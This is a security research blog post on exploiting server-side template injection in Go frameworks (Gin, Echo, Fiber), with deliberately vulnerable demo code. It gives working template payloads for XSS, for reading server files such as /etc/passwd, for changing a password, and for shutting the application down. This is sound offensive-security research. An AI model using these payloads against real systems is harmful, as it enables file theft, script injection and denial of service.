Exploring ways to exploit SSTI in Go Frameworks 

Server-Side Template Injection (SSTI) is one of the most common web vulnerabilities found in web applications and usually arises due to the dynamic generation of the template along with user input. A malicious attacker can then control the template and traverse through various objects to achieve remote code execution.

Some famous template engines developers use are Jinja2, HBS, Handlebars, and Java Expression Language. The exploitation of all these frameworks is well documented, but in the case of Golang, the topic is still unexplored. The reason might be that developers do not usually use template engines with Golang and because exploiting SSTI in Golang requires some knowledge of the backend code/codebase.

This blog will explore ways to exploit SSTI in popular Golang frameworks. 

Also Read: 

With SSTI in Golang, an attacker can access methods available to the structure that is passed during template creation. Let us understand this with an example. Here is a simple example that highlights the vulnerability. The example application uses Gin as a web framework and a Golang template engine. 

package main 
import ( 
  "net/http" 
  "io/ioutil" 
  "html/template" 
  "bytes" 
  "fmt" 
  "github.com/labstack/echo/v4" 
) 

type User struct { 
ID int 
Email string 
Password string 
} 

var user = &User{1, "[email protected]","password"} 

func (u *User) ModifyEmail(){ 
  u.Email = "[email protected]" 
} 

func (u *User) ModifyPassword(p string) string{ 
  u.Password = p 
  return "Password updated" 
} 

func viewUser(c echo.Context) error { 
 
var tmpl = fmt.Sprintf(`Hi {{ .Email }}, Your password is {{ .Password }}`) 
t, err := template.New("page").Parse(tmpl) 
if err != nil { 
    	fmt.Println(err) 
} 
  buf := new(bytes.Buffer) 
err = t.Execute(buf, &user) 
return c.HTML(http.StatusOK, buf.String()) 
} 

func changeEmail(c echo.Context) error { 
  user.ModifyEmail() 
  userString := fmt.Sprintf("%+v", user) 
  return c.HTML(http.StatusOK, userString) 
} 

func ssti(c echo.Context) error { 
  data, err := ioutil.ReadFile("templates/echo_example.html") 
  t, err := template.New("page").Parse(string(data)) 
  if err != nil{ 
    panic(err) 
  } 
  buf := new(bytes.Buffer) 
  err = t.Execute(buf, user) 
  if err != nil { 
    panic(err) 
  } 
 
  return c.HTML(http.StatusOK, buf.String()) 
} 

func main() { 
  e := echo.New() 
  e.GET("/ssti", ssti) 
  e.GET("/view", viewUser) 
  e.GET("/change", changeEmail) 
  e.Start(":8082")
} 

The above code creates a basic web application that, on starting up, makes a user account, and at the `/view` endpoint, we can view the user’s details. In the same project directory, create another directory called template and inside that directory, create a file called `echo_example.html` with the following content. 

{{ .ModifyPassword "newpassword" }} 

Run the application and visit the ‘/view’ endpoint. As shown in the image below. The current user details are what we created when the application started. 

On visiting the “/ssti” endpoint it will respond with the “Password updated” message. 

Even though we haven’t explicitly called the modifyPassword function in Golang if we pass the User struct to the template and it is vulnerable to SSTI, we would be able to call any method available to that struct, albeit with few restrictions, but this is essentially what SSTI in Golang looks like.  

Now that we know what SSTI means in Golang, let us look at some of the gadgets that we found in popular web frameworks that can be abused to achieve arbitrary file reading. Unlike SSTI in Python, Golang is highly dependent on the context and may not always result in high-impact vulnerability. 

Testing for SSTI 

In Golang, we can test for SSTI by using “{{ . }}” as the payload. This will print the memory address of the object that has been passed to the template engine, though the exploitation will highly depend on context. Here is what executing the above payload in the vulnerable application might look like. 

Gin 

Here is the code we will use for exploitation and demonstration purposes. We can replace Gin with other Golang web frameworks accordingly. 

package main 
 
import ( 
  "net/http" 
  "io/ioutil" 
  "html/template" 
  "bytes" 
  "github.com/gin-gonic/gin" 
) 
 
func ssti(c *gin.Context) { 
  data, err := ioutil.ReadFile("templates/gin.html") 
  t, err := template.New("page").Parse(string(data)) 
  if err != nil{ 
    panic(err) 
  } 
  buf := new(bytes.Buffer) 
  err = t.Execute(buf, c) 
  if err != nil { 
    panic(err) 
  } 
  bb := []byte(buf.String()) 
  c.Data(http.StatusOK, "text/html", bb) 
} 

 
func main() { 
  r := gin.Default() 
  r.GET("/ssti", ssti) 
  r.Run(":8081") 
}                                                                                   

In the example above, we are passing the gin context to the template engine. The structure for the current context for Gin web framework can be found in the GitHub repository. Using this struct we can traverse though various objects to potentially increase the impact of the vulnerability. Here is a payload that can be used to achieve Cross-Site Scripting if the object passed to the template engine is Gin context. 

{{ .Writer.WriteString "<html><script>alert(document.domain)</script></html>" }} 

Echo 

The Echo is another popular Golang web framework that allows developers to quickly build highly scalable restful APIs. A few of the gadgets that we found in Echo can be used to achieve arbitrary file reads. The attachment gadget in the Echo framework calls a file function, which opens a file and returns its content. The following gadgets can be used to achieve arbitrary file read.

{{ .File "/etc/passwd" }} 
 
{{ .Attachment "/etc/passwd" "passwd" }} 
 
{{ .Inline "/etc/passwd" "passwd" }} 

We can even take this a step further and perform basic input/output operations on the returned content. The following payload will skip the first character of the returned output. 

{{ $x:=.Echo.Filesystem.Open "/etc/hostname" }} {{ $x.Seek 1 0 }} {{ .Stream 200 "text/plain" $x}} 

Fiber

Fiber is an Express-inspired web framework that is built on top of FastHTTP. One of the gadgets that we found in Fiber can result in the application being shut down, which can cause Denial of Service. Here is the payload that shuts down the running application. The gadget is found in the App object of the application. 

{{ .App.Shutdown }} 

Another gadget that we found in the Fiber framework allows an attacker to read arbitrary files on the server. The gadget traverses through the objects to get an instance of “fasthttp.Response” and abuses its methods to read any file on the server. 

{{.Response.SendFile "/etc/hostname" }} {{ .Response.Body }} 

The response will contain the file content in ASCII, which we can then convert to get string representation. 

We can use Python to get string representation. 

Summary

In this blog post, we learned what SSTI in Golang means and explored a few gadgets we found in the popular Golang web frameworks. This is still an unexplored topic in web security mainly because the exploitation requires certain knowledge of the backend code, which is not available to the attacker. 

References

Subscribe to our Newsletter
Subscription Form
DOWNLOAD THE DATASHEET

Fill in your details and get your copy of the datasheet in few seconds

CTI Report
DOWNLOAD THE EBOOK

Fill in your details and get your copy of the ebook in your inbox

Ebook Download
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download ICS Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Cloud Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download IoT Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Code Review Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Red Team Assessment Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download AI/ML Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download DevSecOps Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Product Security Assessment Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Mobile Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Web App Sample Report

Let’s make cyberspace secure together!

Requirements

Connect Now Form

What our clients are saying!

Trusted by